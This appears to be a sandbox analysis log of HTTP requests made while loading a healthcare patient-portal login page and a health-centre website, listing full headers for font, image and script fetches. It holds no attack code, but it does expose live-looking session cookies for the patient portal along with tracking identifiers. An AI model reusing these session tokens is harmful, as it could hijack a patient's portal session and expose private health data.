Source: global traffic	HTTP traffic detected: GET /portal14763/ss/fonts/newLogin/healow.ttf?qd9atp HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mycw108.ecwcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/layout.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiEyp8kv8JHgFVrJJfecg.woff2 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mycw108.ecwcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mycw108.ecwcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mycw108.ecwcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/practice-landing-vector-web.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/custom.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/jsp/admin/getCroppedImage.jsp?id=0 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/successful.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /apps/app/dist/js/app.js HTTP/1.1Host: acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/NQL-HH-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/09/83_Behavioral-Health-Integration.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/new-to-portal.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/download-app-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/view-health-landing-vector.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newui/js/jquery-3.5.1.min.js?q=2 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/practice-landing-vector-web.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/11/FTCA-Badge_web-version.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAIoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/HDR-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newui/js/jquery-migrate-3.1.0.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newui/js/jquery-ui.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_2.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/AE-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/HIT-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newLogin/bootstrap.bundle.min.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/new-to-portal.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newLogin/bootstrap.min.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/download-app-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_3.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /config/valleyprohealth.org/config.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/HQL-gold-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newLogin/jquery.mCustomScrollbar.concat.min.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newui/js/securityCSRF.js?v=%3C%=Math.random()%%3E HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/view-health-landing-vector.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_4.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
